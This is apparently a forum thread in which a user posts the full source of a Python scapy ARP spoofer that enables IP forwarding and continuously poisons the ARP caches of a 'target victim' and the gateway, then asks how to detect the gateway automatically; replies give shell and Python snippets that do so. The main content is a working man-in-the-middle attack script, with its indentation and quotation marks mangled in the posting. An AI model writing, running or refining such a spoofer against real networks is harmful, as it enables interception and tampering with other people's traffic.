How to add an automated function in my code?

#!/usr/bin/env python

import scapy.all as scapy
import time
import argparse
import sys
import os

def _enable_linux_iproute():
file_path = “/proc/sys/net/ipv4/ip_forward”
with open(file_path) as f:
if f.read() == 1:
return
with open(file_path, “w”) as f:
print(1, file=f)

def get_arguments():
parser = argparse.ArgumentParser()
parser.add_argument("-t", “–target”, dest=“target”, help=“Target IP / IP range.”)
options = parser.parse_args()
if not options.target:
parser.error("[-] Please specify a target IP, use --help for more info.")
return options

def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst=“ff:ff:ff:ff:ff:ff”)
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False) [0]

return answered_list[0][1].hwsrc

def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)

def restore(destination_ip, source_ip):
destination_mac = get_mac(destination_ip)
source_mac = get_mac(source_ip)
packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
scapy.send(packet, count=4, verbose=False)

def spinning_cursor():
while True:
for cursor in ‘|/-\’:
yield cursor

#Open Ports before running using “echo 1 > /proc/sys/net/ipv4/ip_forward” as Root
#Set the gateway_ip to target Default Gateway

print(’’’
███╗░░░███╗░█████╗░███╗░░██╗██╗░░██╗███████╗██╗░░░██╗ ██╗████████╗███╗░░░███╗
████╗░████║██╔══██╗████╗░██║██║░██╔╝██╔════╝╚██╗░██╔╝ ██║╚══██╔══╝████╗░████║
██╔████╔██║██║░░██║██╔██╗██║█████═╝░█████╗░░░╚████╔╝░ ██║░░░██║░░░██╔████╔██║
██║╚██╔╝██║██║░░██║██║╚████║██╔═██╗░██╔══╝░░░░╚██╔╝░░ ██║░░░██║░░░██║╚██╔╝██║
██║░╚═╝░██║╚█████╔╝██║░╚███║██║░╚██╗███████╗░░░██║░░░ ██║░░░██║░░░██║░╚═╝░██║
╚═╝░░░░░╚═╝░╚════╝░╚═╝░░╚══╝╚═╝░░╚═╝╚══════╝░░░╚═╝░░░ ╚═╝░░░╚═╝░░░╚═╝░░░░░╚═╝
/ ____ /__ / ____ _____ / / _____
/ / __ / / / / __ / __ |__ / _ / /
/ / /
/ / / /
/ // / / / /__/ / / /
\ _
,/ //_,// ///_/_/
_
/

                  .-"-.
                _/.-.-.\_
               ( ( X X ) )
                |/  "  \|     have fun...
                 \ .-. /
                 /`"""`|
                /       \   ''')

try:
spinner = spinning_cursor()
options = get_arguments()
target_ip = (options.target)
gateway_ip = “10.0.0.1”
sent_packets_count = 0
print(“Your target victim is =>\t” + target_ip)

for _ in range(20):
    sys.stdout.write(next(spinner))
    sys.stdout.flush()
    time.sleep(0.1)
    sys.stdout.write('\b')

while True:
    spoof(target_ip, gateway_ip)
    spoof(gateway_ip, target_ip)
    sent_packets_count = sent_packets_count + 2
    print("\r[+] Packets sent: " + str(sent_packets_count), end="")
    time.sleep(2)

except IndexError:
print("\n[-] The victim IP is not in range.\n")

except KeyboardInterrupt:
print("\n[-] Detected CTRL + C … Resetting ARP tables… Please wait.\n")

for _ in range(20):
    sys.stdout.write(next(spinner))
    sys.stdout.flush()
    time.sleep(0.1)
    sys.stdout.write('\b')

restore(target_ip, gateway_ip)
restore(gateway_ip, target_ip)
os.system('cls' if os.name == 'nt' else 'clear')

This is my code that I made for an ARP spoofer. I would like to know how to make the variable “gateway_ip” automatic to the default gateway of the network or at the very least being able to enter it yourself instead of it being equal to “10.0.0.1”

I believe the bash command you are looking for is:

ip route | grep default
or

ip route |grep default | cut -d " " -f 3

does that get you going in the right direction? you may have to adjust the cut filter a bit.

If you want the end solution in python, a quick google would yield more results, I found several.

I tried looking on google and could not find what I was looking for, hence why I’m here.

do you know a way to possibly define it as an argument?

Furthermore, when I try what is written on the scapy web page for this, I get the error “conf is not defined”

this is the command on the scapy webpage

gw = conf.route.route(“0.0.0.0”)

gw
‘10.0.0.1’

I don’t know anything about scapy, I just knew how to get it in bash, was hoping that may help. Sorry it didn’t.

it doesn’t have to be scapy. Bash is fine as long as I can make and argument with it. Would you happen to know how?

what I typed previously was bash
ip route |grep default | cut -d " " -f 3

again, you may have to play with the ‘cut’ filters

this should work in python, it does for me anyway. I don’t think this is what your asking for though, but its all I have for you. It returns Gateway IP in Bash and in Python3

import os
stream = os.popen(‘ip route | grep default | cut -d " " -f 3’)
gatewayip = stream.read()

gatewayip contains your gateway IP address

You can create simple bash script having the ip route command and then run your python program with the output of the ip route as an argument in the next line of the bash script. You just have to run the bash script and it will find the default route and then run your python script with that route as argument